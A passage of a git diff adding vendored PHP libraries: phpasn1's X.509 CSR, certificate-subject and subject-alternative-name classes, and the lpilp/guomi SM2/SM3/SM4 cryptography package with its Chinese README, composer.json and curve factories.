FG\ASN1\Universal\Integer; +use FG\ASN1\Universal\BitString; +use FG\ASN1\Universal\Sequence; +use FG\X509\CertificateSubject; +use FG\X509\AlgorithmIdentifier; +use FG\X509\PublicKey; + +class CSR extends Sequence +{ + const CSR_VERSION_NR = 0; + + protected $subject; + protected $publicKey; + protected $signature; + protected $signatureAlgorithm; + + protected $startSequence; + + /** + * @param string $commonName + * @param string $email + * @param string $organization + * @param string $locality + * @param string $state + * @param string $country + * @param string $organizationalUnit + * @param string $publicKey + * @param string $signature + * @param string $signatureAlgorithm + */ + public function __construct($commonName, $email, $organization, $locality, $state, $country, $organizationalUnit, $publicKey, $signature = null, $signatureAlgorithm = OID::SHA1_WITH_RSA_SIGNATURE) + { + $this->subject = new CertificateSubject( + $commonName, + $email, + $organization, + $locality, + $state, + $country, + $organizationalUnit + ); + $this->publicKey = $publicKey; + $this->signature = $signature; + $this->signatureAlgorithm = $signatureAlgorithm; + + if (isset($signature)) { + $this->createCSRSequence(); + } + } + + protected function createCSRSequence() + { + $versionNr = new Integer(self::CSR_VERSION_NR); + $publicKey = new PublicKey($this->publicKey); + $signature = new BitString($this->signature); + $signatureAlgorithm = new AlgorithmIdentifier($this->signatureAlgorithm); + + $certRequestInfo = new Sequence($versionNr, $this->subject, $publicKey); + + // Clear the underlying Construct + $this->rewind(); + $this->children = []; + $this->addChild($certRequestInfo); + $this->addChild($signatureAlgorithm); + $this->addChild($signature); + } + + public function getSignatureSubject() + { + $versionNr = new Integer(self::CSR_VERSION_NR); + $publicKey = new PublicKey($this->publicKey); + + $certRequestInfo = new Sequence($versionNr, $this->subject, $publicKey); + return $certRequestInfo->getBinary(); + } + + public function setSignature($signature, $signatureAlgorithm = OID::SHA1_WITH_RSA_SIGNATURE) + { + $this->signature = $signature; + $this->signatureAlgorithm = $signatureAlgorithm; + + $this->createCSRSequence(); + } + + public function __toString() + { + $tmp = base64_encode($this->getBinary()); + + for ($i = 0; $i < strlen($tmp); $i++) { + if (($i + 2) % 65 == 0) { + $tmp = substr($tmp, 0, $i + 1)."\n".substr($tmp, $i + 1); + } + } + + $result = '-----BEGIN CERTIFICATE REQUEST-----'.PHP_EOL; + $result .= $tmp.PHP_EOL; + $result .= '-----END CERTIFICATE REQUEST-----'; + + return $result; + } + + public function getVersion() + { + return self::CSR_VERSION_NR; + } + + public function getOrganizationName() + { + return $this->subject->getOrganization(); + } + + public function getLocalName() + { + return $this->subject->getLocality(); + } + + public function getState() + { + return $this->subject->getState(); + } + + public function getCountry() + { + return $this->subject->getCountry(); + } + + public function getOrganizationalUnit() + { + return $this->subject->getOrganizationalUnit(); + } + + public function getPublicKey() + { + return $this->publicKey; + } + + public function getSignature() + { + return $this->signature; + } + + public function getSignatureAlgorithm() + { + return $this->signatureAlgorithm; + } +} diff --git a/includes/vendor/fgrosse/phpasn1/lib/X509/CertificateExtensions.php b/includes/vendor/fgrosse/phpasn1/lib/X509/CertificateExtensions.php new file mode 100644 index 0000000..6ed1c6a --- /dev/null +++ b/includes/vendor/fgrosse/phpasn1/lib/X509/CertificateExtensions.php @@ -0,0 +1,100 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace FG\X509; + +use FG\ASN1\Exception\ParserException; +use FG\ASN1\OID; +use FG\ASN1\ASNObject; +use FG\ASN1\Parsable; +use FG\ASN1\Identifier; +use FG\ASN1\Universal\OctetString; +use FG\ASN1\Universal\Set; +use FG\ASN1\Universal\Sequence; +use FG\ASN1\Universal\ObjectIdentifier; +use FG\X509\SAN\SubjectAlternativeNames; + +class CertificateExtensions extends Set implements Parsable +{ + private $innerSequence; + private $extensions = []; + + public function __construct() + { + $this->innerSequence = new Sequence(); + parent::__construct($this->innerSequence); + } + + public function addSubjectAlternativeNames(SubjectAlternativeNames $sans) + { + $this->addExtension(OID::CERT_EXT_SUBJECT_ALT_NAME, $sans); + } + + private function addExtension($oidString, ASNObject $extension) + { + $sequence = new Sequence(); + $sequence->addChild(new ObjectIdentifier($oidString)); + $sequence->addChild($extension); + + $this->innerSequence->addChild($sequence); + $this->extensions[] = $extension; + } + + public function getContent() + { + return $this->extensions; + } + + public static function fromBinary(&$binaryData, &$offsetIndex = 0) + { + self::parseIdentifier($binaryData[$offsetIndex], Identifier::SET, $offsetIndex++); + self::parseContentLength($binaryData, $offsetIndex); + + $tmpOffset = $offsetIndex; + $extensions = Sequence::fromBinary($binaryData, $offsetIndex); + $tmpOffset += 1 + $extensions->getNumberOfLengthOctets(); + + $parsedObject = new self(); + foreach ($extensions as $extension) { + if ($extension->getType() != Identifier::SEQUENCE) { + //FIXME wrong offset index + throw new ParserException('Could not parse Certificate Extensions: Expected ASN.1 Sequence but got '.$extension->getTypeName(), $offsetIndex); + } + + $tmpOffset += 1 + $extension->getNumberOfLengthOctets(); + $children = $extension->getChildren(); + if (count($children) < 2) { + throw new ParserException('Could not parse Certificate Extensions: Needs at least two child elements per extension sequence (object identifier and octet string)', $tmpOffset); + } + /** @var \FG\ASN1\ASNObject $objectIdentifier */ + $objectIdentifier = $children[0]; + + /** @var OctetString $octetString */ + $octetString = $children[1]; + + if ($objectIdentifier->getType() != Identifier::OBJECT_IDENTIFIER) { + throw new ParserException('Could not parse Certificate Extensions: Expected ASN.1 Object Identifier but got '.$extension->getTypeName(), $tmpOffset); + } + + $tmpOffset += $objectIdentifier->getObjectLength(); + + if ($objectIdentifier->getContent() == OID::CERT_EXT_SUBJECT_ALT_NAME) { + $sans = SubjectAlternativeNames::fromBinary($binaryData, $tmpOffset); + $parsedObject->addSubjectAlternativeNames($sans); + } else { + // can now only parse SANs. There might be more in the future + $tmpOffset += $octetString->getObjectLength(); + } + } + + $parsedObject->getBinary(); // Determine the number of content octets and object sizes once (just to let the equality unit tests pass :/ ) + return $parsedObject; + } +} diff --git a/includes/vendor/fgrosse/phpasn1/lib/X509/CertificateSubject.php b/includes/vendor/fgrosse/phpasn1/lib/X509/CertificateSubject.php new file mode 100644 index 0000000..0a04d57 --- /dev/null +++ b/includes/vendor/fgrosse/phpasn1/lib/X509/CertificateSubject.php @@ -0,0 +1,108 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace FG\X509; + +use FG\ASN1\Composite\RelativeDistinguishedName; +use FG\ASN1\Identifier; +use FG\ASN1\OID; +use FG\ASN1\Parsable; +use FG\ASN1\Composite\RDNString; +use FG\ASN1\Universal\Sequence; + +class CertificateSubject extends Sequence implements Parsable +{ + private $commonName; + private $email; + private $organization; + private $locality; + private $state; + private $country; + private $organizationalUnit; + + /** + * @param string $commonName + * @param string $email + * @param string $organization + * @param string $locality + * @param string $state + * @param string $country + * @param string $organizationalUnit + */ + public function __construct($commonName, $email, $organization, $locality, $state, $country, $organizationalUnit) + { + parent::__construct( + new RDNString(OID::COUNTRY_NAME, $country), + new RDNString(OID::STATE_OR_PROVINCE_NAME, $state), + new RDNString(OID::LOCALITY_NAME, $locality), + new RDNString(OID::ORGANIZATION_NAME, $organization), + new RDNString(OID::OU_NAME, $organizationalUnit), + new RDNString(OID::COMMON_NAME, $commonName), + new RDNString(OID::PKCS9_EMAIL, $email) + ); + + $this->commonName = $commonName; + $this->email = $email; + $this->organization = $organization; + $this->locality = $locality; + $this->state = $state; + $this->country = $country; + $this->organizationalUnit = $organizationalUnit; + } + + public function getCommonName() + { + return $this->commonName; + } + + public function getEmail() + { + return $this->email; + } + + public function getOrganization() + { + return $this->organization; + } + + public function getLocality() + { + return $this->locality; + } + + public function getState() + { + return $this->state; + } + + public function getCountry() + { + return $this->country; + } + + public function getOrganizationalUnit() + { + return $this->organizationalUnit; + } + + public static function fromBinary(&$binaryData, &$offsetIndex = 0) + { + self::parseIdentifier($binaryData[$offsetIndex], Identifier::SEQUENCE, $offsetIndex++); + $contentLength = self::parseContentLength($binaryData, $offsetIndex); + + $names = []; + $octetsToRead = $contentLength; + while ($octetsToRead > 0) { + $relativeDistinguishedName = RelativeDistinguishedName::fromBinary($binaryData, $offsetIndex); + $octetsToRead -= $relativeDistinguishedName->getObjectLength(); + $names[] = $relativeDistinguishedName; + } + } +} diff --git a/includes/vendor/fgrosse/phpasn1/lib/X509/PrivateKey.php b/includes/vendor/fgrosse/phpasn1/lib/X509/PrivateKey.php new file mode 100644 index 0000000..d57ad86 --- /dev/null +++ b/includes/vendor/fgrosse/phpasn1/lib/X509/PrivateKey.php @@ -0,0 +1,35 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace FG\X509; + +use FG\ASN1\OID; +use FG\ASN1\Universal\NullObject; +use FG\ASN1\Universal\Sequence; +use FG\ASN1\Universal\BitString; +use FG\ASN1\Universal\ObjectIdentifier; + +class PrivateKey extends Sequence +{ + /** + * @param string $hexKey + * @param \FG\ASN1\ASNObject|string $algorithmIdentifierString + */ + public function __construct($hexKey, $algorithmIdentifierString = OID::RSA_ENCRYPTION) + { + parent::__construct( + new Sequence( + new ObjectIdentifier($algorithmIdentifierString), + new NullObject() + ), + new BitString($hexKey) + ); + } +} diff --git a/includes/vendor/fgrosse/phpasn1/lib/X509/PublicKey.php b/includes/vendor/fgrosse/phpasn1/lib/X509/PublicKey.php new file mode 100644 index 0000000..ab8b451 --- /dev/null +++ b/includes/vendor/fgrosse/phpasn1/lib/X509/PublicKey.php @@ -0,0 +1,35 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace FG\X509; + +use FG\ASN1\OID; +use FG\ASN1\Universal\NullObject; +use FG\ASN1\Universal\Sequence; +use FG\ASN1\Universal\BitString; +use FG\ASN1\Universal\ObjectIdentifier; + +class PublicKey extends Sequence +{ + /** + * @param string $hexKey + * @param \FG\ASN1\ASNObject|string $algorithmIdentifierString + */ + public function __construct($hexKey, $algorithmIdentifierString = OID::RSA_ENCRYPTION) + { + parent::__construct( + new Sequence( + new ObjectIdentifier($algorithmIdentifierString), + new NullObject() + ), + new BitString($hexKey) + ); + } +} diff --git a/includes/vendor/fgrosse/phpasn1/lib/X509/SAN/DNSName.php b/includes/vendor/fgrosse/phpasn1/lib/X509/SAN/DNSName.php new file mode 100644 index 0000000..502738b --- /dev/null +++ b/includes/vendor/fgrosse/phpasn1/lib/X509/SAN/DNSName.php @@ -0,0 +1,28 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace FG\X509\SAN; + +use FG\ASN1\Universal\GeneralString; + +class DNSName extends GeneralString +{ + const IDENTIFIER = 0x82; // not sure yet why this is the identifier used in SAN extensions + + public function __construct($dnsNameString) + { + parent::__construct($dnsNameString); + } + + public function getType() + { + return self::IDENTIFIER; + } +} diff --git a/includes/vendor/fgrosse/phpasn1/lib/X509/SAN/IPAddress.php b/includes/vendor/fgrosse/phpasn1/lib/X509/SAN/IPAddress.php new file mode 100644 index 0000000..f55be95 --- /dev/null +++ b/includes/vendor/fgrosse/phpasn1/lib/X509/SAN/IPAddress.php @@ -0,0 +1,73 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace FG\X509\SAN; + +use FG\ASN1\ASNObject; +use FG\ASN1\Parsable; +use FG\ASN1\Exception\ParserException; + +class IPAddress extends ASNObject implements Parsable +{ + const IDENTIFIER = 0x87; // not sure yet why this is the identifier used in SAN extensions + + /** @var string */ + private $value; + + public function __construct($ipAddressString) + { + $this->value = $ipAddressString; + } + + public function getType() + { + return self::IDENTIFIER; + } + + public function getContent() + { + return $this->value; + } + + protected function calculateContentLength() + { + return 4; + } + + protected function getEncodedValue() + { + $ipParts = explode('.', $this->value); + $binary = chr($ipParts[0]); + $binary .= chr($ipParts[1]); + $binary .= chr($ipParts[2]); + $binary .= chr($ipParts[3]); + + return $binary; + } + + public static function fromBinary(&$binaryData, &$offsetIndex = 0) + { + self::parseIdentifier($binaryData[$offsetIndex], self::IDENTIFIER, $offsetIndex++); + $contentLength = self::parseContentLength($binaryData, $offsetIndex); + if ($contentLength != 4) { + throw new ParserException("A FG\\X509\SAN\IPAddress should have a content length of 4. Extracted length was {$contentLength}", $offsetIndex); + } + + $ipAddressString = ord($binaryData[$offsetIndex++]).'.'; + $ipAddressString .= ord($binaryData[$offsetIndex++]).'.'; + $ipAddressString .= ord($binaryData[$offsetIndex++]).'.'; + $ipAddressString .= ord($binaryData[$offsetIndex++]); + + $parsedObject = new self($ipAddressString); + $parsedObject->getObjectLength(); + + return $parsedObject; + } +} diff --git a/includes/vendor/fgrosse/phpasn1/lib/X509/SAN/SubjectAlternativeNames.php b/includes/vendor/fgrosse/phpasn1/lib/X509/SAN/SubjectAlternativeNames.php new file mode 100644 index 0000000..271ddde --- /dev/null +++ b/includes/vendor/fgrosse/phpasn1/lib/X509/SAN/SubjectAlternativeNames.php @@ -0,0 +1,96 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace FG\X509\SAN; + +use FG\ASN1\Exception\ParserException; +use FG\ASN1\ASNObject; +use FG\ASN1\OID; +use FG\ASN1\Parsable; +use FG\ASN1\Identifier; +use FG\ASN1\Universal\Sequence; + +/** + * See section 8.3.2.1 of ITU-T X.509. + */ +class SubjectAlternativeNames extends ASNObject implements Parsable +{ + private $alternativeNamesSequence; + + public function __construct() + { + $this->alternativeNamesSequence = new Sequence(); + } + + protected function calculateContentLength() + { + return $this->alternativeNamesSequence->getObjectLength(); + } + + public function getType() + { + return Identifier::OCTETSTRING; + } + + public function addDomainName(DNSName $domainName) + { + $this->alternativeNamesSequence->addChild($domainName); + } + + public function addIP(IPAddress $ip) + { + $this->alternativeNamesSequence->addChild($ip); + } + + public function getContent() + { + return $this->alternativeNamesSequence->getContent(); + } + + protected function getEncodedValue() + { + return $this->alternativeNamesSequence->getBinary(); + } + + public static function fromBinary(&$binaryData, &$offsetIndex = 0) + { + self::parseIdentifier($binaryData[$offsetIndex], Identifier::OCTETSTRING, $offsetIndex++); + $contentLength = self::parseContentLength($binaryData, $offsetIndex); + + if ($contentLength < 2) { + throw new ParserException('Can not parse Subject Alternative Names: The Sequence within the octet string after the Object identifier '.OID::CERT_EXT_SUBJECT_ALT_NAME." is too short ({$contentLength} octets)", $offsetIndex); + } + + $offsetOfSequence = $offsetIndex; + $sequence = Sequence::fromBinary($binaryData, $offsetIndex); + $offsetOfSequence += $sequence->getNumberOfLengthOctets() + 1; + + if ($sequence->getObjectLength() != $contentLength) { + throw new ParserException('Can not parse Subject Alternative Names: The Sequence length does not match the length of the surrounding octet string', $offsetIndex); + } + + $parsedObject = new self(); + /** @var \FG\ASN1\ASNObject $object */ + foreach ($sequence as $object) { + if ($object->getType() == DNSName::IDENTIFIER) { + $domainName = DNSName::fromBinary($binaryData, $offsetOfSequence); + $parsedObject->addDomainName($domainName); + } elseif ($object->getType() == IPAddress::IDENTIFIER) { + $ip = IPAddress::fromBinary($binaryData, $offsetOfSequence); + $parsedObject->addIP($ip); + } else { + throw new ParserException('Could not parse Subject Alternative Name: Only DNSName and IP SANs are currently supported', $offsetIndex); + } + } + + $parsedObject->getBinary(); // Determine the number of content octets and object sizes once (just to let the equality unit tests pass :/ ) + return $parsedObject; + } +} diff --git a/includes/vendor/lpilp/guomi/.gitignore b/includes/vendor/lpilp/guomi/.gitignore new file mode 100644 index 0000000..121dca9 --- /dev/null +++ b/includes/vendor/lpilp/guomi/.gitignore @@ -0,0 +1,3 @@ +vendor2/ +vendor/ +composer.lock diff --git a/includes/vendor/lpilp/guomi/README.md b/includes/vendor/lpilp/guomi/README.md new file mode 100644 index 0000000..eec7051 --- /dev/null +++ b/includes/vendor/lpilp/guomi/README.md @@ -0,0 +1,71 @@ +# php sm2 sm3 sm4 国密算法整理 +* 本项目支持php版本的国密sm2的签名算法,非对称加解密算法,sm3的hash, sm4的对称加解密,要求PHP7,打开gmp支持 +* 目前如果服务器配套的使用的是openssl 1.1.1x, 目前到1.1.1.l(w) ,sm3,sm4都可以直接用openssl_xxx系列函数直接实现,不必大量的代码,不支持sm2的签名,sm2的加解密 + +### 使用 +* composer require lpilp/guomi +* please make sure you upgrade to Composer 2+ +* PHP >=7.2,打开gmp组件支持 +* 如需要使用php5.6 请使用wzhih童鞋fork修改的 https://github.com/wzhih/guomi ; composer require wzhih/guomi 或是使用该项目的简化版本 https://github.com/lpilp/simplesm2 +### SM2 +* 签名验签算法主体基于PHPECC算法架构,添加了sm2的椭圆参数, +* 参考了 https://github.com/ToAnyWhere/phpsm2 童鞋的sm2验签算法,密钥生成算法 +* 添加了签名算法, 支持sm2的16进制,base64公私钥的签名,验签算法 +* 支持从文件中读取pem文件的签名,验签算法 +* 由于 openssl没有实现sm2withsm3算法,用系统函数无法实现签名及证书的自签名分发 + +### SM2非对称加密 +* 添加了sm2的非对称加密的算法,但速度一般,有待优化,不能保证兼容所有语言进行加解密,目前测试了js, python的相互加解密 +* sm2的加密解密算法在openssl 1.1.1的版本下自带的函数中暂无sm2的公钥私钥的加密函数,得自己实现,建议使用C,C++的算法,打包成PHP扩展的方式 +* SM2的非对称加密缺省的是c1c3c2, 请使用的时候注意下,对方返回的是c1c3c2还是c1c2c3,进行相应的修改更新,还有一点就是本项目中c1前面没有04, 视对接方的需求,看是否添加\x04, v1.0.6版已对c1c3c2还是c1c2c3做了兼容,缺省是c1c3c2,添加相应的modetype后可以兼容两种模式,使用方法见 test/tsm2_encrypt.php +* 如对方sm2非对称加密生成的不是c1c3c2 而是 asn1(c1x,c1y,c3,c2), 目前本项目不支持这种样式的,请先asn1解开后,拼接成 C1C3C2的形式后再调用解密函数,否则会报椭圆不匹配错误, 请自行处理 +### 关于数据格式 +* sm2的缺省返回是asn1(r,s)的base64字符串 +* sm2的非对称加密返回的是 c1c3c2的hex字符串 +* sm3缺省hex的字符串 +* sm4缺省也是hex的字符串 +* 在于其他语言互通的时候请自行统一格式,以免因为格式的问题而造成运算不成功 +### SM3 +* 该算法直接使用 https://github.com/ToAnyWhere/phpsm2 中sm2签名用到的匹配sm3, 未做修改 +* 也可使用 openssl的函数, 详见openssl_tsm3.php +* hmac-sm3,这个算法与hmac-sha256在hmac的算法是一样的,只是hash的算法不一样,一个是sm3,一个sha256, 没有什么特殊的注意的地方 +### SM4 +* 该算法直接封装使用 https://github.com/lizhichao/sm 的sm4算法, 同时该项目支持 sm3,sm4 ,可以composer安装 +* 由于sm4-ecb, sm4-cbc加密需要补齐,项目lizhichao/sm项目未做补齐操作,这里封装的时候,针对这两个算法做了补齐操作, 其他如sm4-ctr,sm4-cfb,sm4-ofb等,可以直接用 +* 在openssl 1.1.1下可使用系统的函数,已支持sm4-cbc,sm4-cfb,sm4-ctr,sm4-ecb,sm4-ofb, 详见openssl_tsm4.php ,有一点很诡异,用yum/dnf安装的openssl只支持sm3, 如果是自己编译安装的就支持sm3,sm4 + +### SM2各语言总结 +* 这里封装的测试函数已与相关的js,python,java,go等都可以互签互认 +* js: https://github.com/JuneAndGreen/sm-crypto 一个注意点就是: js的中文字符转成byte[]时,缺省的是unicode编码两字节,需要转成utf8的三字节编码,一个简单的方案 unescape(encodeURIComponent(str)) 然后再一个字节一个字节读就行了 +* python: https://github.com/duanhongyi/gmssl 使用 pip install gmssl 安装就可 +* java: https://github.com/ZZMarquis/gmhelper 注意下java中文的转码问题,getBytes("UTF-8"), 要加上编码类型, 因为 getBytes()函数的缺省编码是随操作系统的,如果是在中文版的windows中使用,缺省是GBK编码,就会出现中文的编码的问题,而造成签名无法通过 +* openssl: 升到1.1.1以后,支持sm3,sm4的加解密,还不支持sm2的公私钥加解密,也不支持sm2的签名 ++ go: https://github.com/tjfoc/gmsm 一家做区块链的公司开源的项目,在go方面可以说是最早开源的了,https://github.com/deatil/go-cryptobin 这个是个go的宝藏项目,有各种的加解密,签名 ++ C#: 项目也比较少,基本是基于https://www.bouncycastle.org/ 的BC加密库(java也是基于该库),该库1.8.4后版本支持sm2,sm3,sm4,考察搜索到的几个项目,https://github.com/hz281529512/SecretTest 完整性算比较好 ++ C: https://github.com/guanzhi/GmSSL 北大计算机的开源项目,fork多,star也多。 ++ php-openssl: php7 好像支持了sm3, 在openssl1.1.1以上,可用编译的方式加入sm3,sm4的支持。 xampp套件下的php7以上的版本支持sm3, sm4的openssl_系列函数, openssl_get_md_methods() 查看是否支持sm3, openssl_get_cipher_methods() 查看是否支持sm4 +### SM2签名常见问题 + * 提供的私钥是base64的短串,一般直接 bin2hex(base64_decode(str)) 就是明文的密钥了 + * 文件格式的密钥一般有pkcs1与pkcs8两个格式,本项目只支持pkcs1格式的密钥,使用前请先进行相关的转换,一般 pkcs8是四行,pkcs1是三行,区别见 https://www.jianshu.com/p/a428e183e72e + * 关于签名的字符串的问题,有些项目会将原始字符串哈稀后,再对哈稀值进行签名,有些对这哈稀值又进行了hex2bin操作后再签名,请双方按约定的标准确定最后签名的数据值,双方保持一致即可 + * 签名的结果是asn1(r,s),个别的项目签名出来的只是 r+s的字符串组合,验证签名的时候注意下。 base64的签名如果以MEU开头的,这个是asn1的,解开后是64字节是r + s 的 在src/util/SmSignFormatRS.php 有相关的转换函数,请按需使用 +### 特别注意 + * sm2的构造函数中缺省是固定了中间椭圆,目前发现个别的接入方(目前发现是招行金融平台)将这个中间椭圆私钥随机算法给加黑了, 请使用的时候 $randFixed 设为false 以及重新生成一个中间椭圆的密钥对替换原有程序的数据 +``` +function __construct($formatSign='hex', $randFixed = true) { + // 注意: 这个randFixed尽量取false, 如需要固定,请重新生成$foreignkey密码对 + $this->adapter = RtEccFactory::getAdapter(); + $this->generator = RtEccFactory::getSmCurves()->generatorSm2(); + if(in_array($formatSign,$this->arrFormat)){ + $this->formatSign = $formatSign; + } else { + $this->formatSign = 'hex'; + } + if(!$randFixed){ + $this->useDerandomizedSignatures = false; + $this->useDerandomizedEncrypt = false; + } +} +``` + + diff --git a/includes/vendor/lpilp/guomi/composer.json b/includes/vendor/lpilp/guomi/composer.json new file mode 100644 index 0000000..f3ce96b --- /dev/null +++ b/includes/vendor/lpilp/guomi/composer.json @@ -0,0 +1,32 @@ +{ + "name": "lpilp/guomi", + "description": "国密sm2", + "type": "library", + "license": "MIT", + "authors": [ + { + "name": "recent", + "email": "lpilp@126.com", + "wx": "xiaopz129" + } + ], + "minimum-stability": "stable", + "require": { + "php": ">=7.2", + "mdanter/ecc": "^1.0" + }, + "autoload": { + "psr-4": { + "Rtgm\\": "src" + }, + "files": ["src/overwrite.php"] + + }, + "repositories": { + "packagist": { + "type": "composer", + "url": "https://mirrors.aliyun.com/composer/" + } + } + +} diff --git a/includes/vendor/lpilp/guomi/src/ecc/Curves/CurveFactory.php b/includes/vendor/lpilp/guomi/src/ecc/Curves/CurveFactory.php new file mode 100644 index 0000000..3f83508 --- /dev/null +++ b/includes/vendor/lpilp/guomi/src/ecc/Curves/CurveFactory.php @@ -0,0 +1,125 @@ +curveSm2(); + } + $nistFactory = self::getNistFactory($adapter); + $secpFactory = self::getSecpFactory($adapter); + + switch ($name) { + case NistCurve::NAME_P192: + return $nistFactory->curve192(); + case NistCurve::NAME_P224: + return $nistFactory->curve224(); + case NistCurve::NAME_P256: + return $nistFactory->curve256(); + case NistCurve::NAME_P384: + return $nistFactory->curve384(); + case NistCurve::NAME_P521: + return $nistFactory->curve521(); + case SecgCurve::NAME_SECP_112R1: + return $secpFactory->curve112r1(); + case SecgCurve::NAME_SECP_192K1: + return $secpFactory->curve192k1(); + case SecgCurve::NAME_SECP_256K1: + return $secpFactory->curve256k1(); + case SecgCurve::NAME_SECP_256R1: + return $secpFactory->curve256r1(); + case SecgCurve::NAME_SECP_384R1: + return $secpFactory->curve384r1(); + default: + $error = new UnsupportedCurveException('Unknown curve.'); + $error->setCurveName($name); + throw $error; + } + } + + /** + * @param string $name + * @return GeneratorPoint + */ + public static function getGeneratorByName(string $name): GeneratorPoint + { + $adapter = MathAdapterFactory::getAdapter(); + if($name == Sm2Curve::NAME_PSM2){ + return self::getSm2Factory($adapter)->generatorSm2(); + } + $nistFactory = self::getNistFactory($adapter); + $secpFactory = self::getSecpFactory($adapter); + + switch ($name) { + case NistCurve::NAME_P192: + return $nistFactory->generator192(); + case NistCurve::NAME_P224: + return $nistFactory->generator224(); + case NistCurve::NAME_P256: + return $nistFactory->generator256(); + case NistCurve::NAME_P384: + return $nistFactory->generator384(); + case NistCurve::NAME_P521: + return $nistFactory->generator521(); + case SecgCurve::NAME_SECP_112R1: + return $secpFactory->generator112r1(); + case SecgCurve::NAME_SECP_192K1: + return $secpFactory->generator192k1(); + case SecgCurve::NAME_SECP_256K1: + return $secpFactory->generator256k1(); + case SecgCurve::NAME_SECP_256R1: + return $secpFactory->generator256r1(); + case SecgCurve::NAME_SECP_384R1: + return $secpFactory->generator384r1(); + default: + $error = new UnsupportedCurveException('Unknown generator.'); + $error->setCurveName($name); + throw $error; + } + } + + /** + * @param GmpMathInterface $math + * @return NistCurve + */ + private static function getNistFactory(GmpMathInterface $math): NistCurve + { + return new NistCurve($math); + } + + /** + * @param GmpMathInterface $math + * @return SecgCurve + */ + private static function getSecpFactory(GmpMathInterface $math): SecgCurve + { + return new SecgCurve($math); + } + /** + * @param GmpMathInterface $math + * @return Sm2 + */ + private static function getSm2Factory(GmpMathInterface $math): Sm2Curve + { + return new Sm2Curve($math); + } +} diff --git a/includes/vendor/lpilp/guomi/src/ecc/RtEccFactory.php b/includes/vendor/lpilp/guomi/src/ecc/RtEccFactory.php new file mode 100644 index 0000000..4f57e50 --- /dev/null +++ b/includes/vendor/lpilp/guomi/src/ecc/RtEccFactory.php @@ -0,0 +1,44 @@ + self::NIST_P192_OID, + NistCurve::NAME_P224 => self::NIST_P224_OID, + NistCurve::NAME_P256 => self::NIST_P256_OID, + NistCurve::NAME_P384 => self::NIST_P384_OID, + NistCurve::NAME_P521 => self::NIST_P521_OID, + SecgCurve::NAME_SECP_112R1 => self::SECP_112R1_OID, + SecgCurve::NAME_SECP_192K1 => self::SECP_192K1_OID, + SecgCurve::NAME_SECP_256K1 => self::SECP_256K1_OID, + SecgCurve::NAME_SECP_256R1 => self::SECP_256R1_OID, + SecgCurve::NAME_SECP_384R1 => self::SECP_384R1_OID, + Sm2Curve::NAME_PSM2 => self::SM2_OID, + ); + + /** + * @var array + */ + private static $sizeMap = array( + NistCurve::NAME_P192 => 24, + NistCurve::NAME_P224 => 28, + NistCurve::NAME_P256 => 32, + NistCurve::NAME_P384 => 48, + NistCurve::NAME_P521 => 66, + SecgCurve::NAME_SECP_112R1 => 14, + SecgCurve::NAME_SECP_192K1 => 24, + SecgCurve::NAME_SECP_256K1 => 32, + SecgCurve::NAME_SECP_256R1 => 32, + SecgCurve::NAME_SECP_384R1 => 48, + Sm2Curve::NAME_PSM2 =>32, //sm2 也是256位的,32个字节的密码 + ); + + /** + * @return array + */ + public static function getNames(): array + { + return array_keys(self::$oidMap); + } + + /** + * @param CurveFpInterface $curve + * @return int + */ + public static function getByteSize(CurveFpInterface $curve): int + { + if ($curve instanceof NamedCurveFp && array_key_exists($curve->getName(), self::$sizeMap)) { + return self::$sizeMap[$curve->getName()]; + } + + throw new UnsupportedCurveException('Unsupported curve type'); + } + + /** + * @param NamedCurveFp $curve + * @return ObjectIdentifier + */ + public static function getCurveOid(NamedCurveFp $curve): ObjectIdentifier + { + if (array_key_exists($curve->getName(), self::$oidMap)) { + $oidString = self::$oidMap[$curve->getName()]; + + return new ObjectIdentifier($oidString); + } + + throw new UnsupportedCurveException('Unsupported curve type'); + } + + /** + * @param ObjectIdentifier $oid + * @return NamedCurveFp + */ + public static function getCurveFromOid(ObjectIdentifier $oid): NamedCurveFp + { + $oidString = $oid->getContent(); + $invertedMap = array_flip(self::$oidMap); + + if (array_key_exists($oidString, $invertedMap)) { + return CurveFactory::getCurveByName($invertedMap[$oidString]); + } + + $error = new UnsupportedCurveException('Invalid data: unsupported curve.'); + $error->setOid($oidString); + throw $error; + } + + /** + * @param ObjectIdentifier $oid + * @return GeneratorPoint + */ + public static function getGeneratorFromOid(ObjectIdentifier $oid): GeneratorPoint + { + $oidString = $oid->getContent(); + $invertedMap = array_flip(self::$oidMap); + + if (array_key_exists($oidString, $invertedMap)) { + return CurveFactory::getGeneratorByName($invertedMap[$oidString]); + } + + $error = new UnsupportedCurveException('Invalid data: unsupported generator.'); + $error->setOid($oidString); + throw $error; + } +} diff --git a/includes/vendor/lpilp/guomi/src/ecc/Sm2Curve.php b/includes/vendor/lpilp/guomi/src/ecc/Sm2Curve.php new file mode 100644 index 0000000..70dd6db --- /dev/null +++ b/includes/vendor/lpilp/guomi/src/ecc/Sm2Curve.php @@ -0,0 +1,60 @@ +adapter = $adapter; + // echo "I am sm ecc\n"; + } + /** + * Returns an sm2国密 curve. + * + * @return NamedCurveFp + */ + public function curveSm2(): NamedCurveFp + { + $p = gmp_init('0xFFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFF', 16); + $b = gmp_init('0x28E9FA9E9D9F5E344D5A9E4BCF6509A7F39789F515AB8F92DDBCBD414D940E93', 16); + $a = gmp_init('0xFFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFC', 16); + $parameters = new CurveParameters(256, $p, $a, $b); + + return new NamedCurveFp(self::NAME_PSM2, $parameters, $this->adapter); + } + + /** + * Returns an sm2 generator. + * + * @param RandomNumberGeneratorInterface $randomGenerator + * @return GeneratorPoint + */ + public function generatorSm2(RandomNumberGeneratorInterface $randomGenerator = null): GeneratorPoint + { + $curve = $this->curveSm2(); + $order = gmp_init('0xFFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFF7203DF6B21C6052B53BBF40939D54123', 16); + + $x = 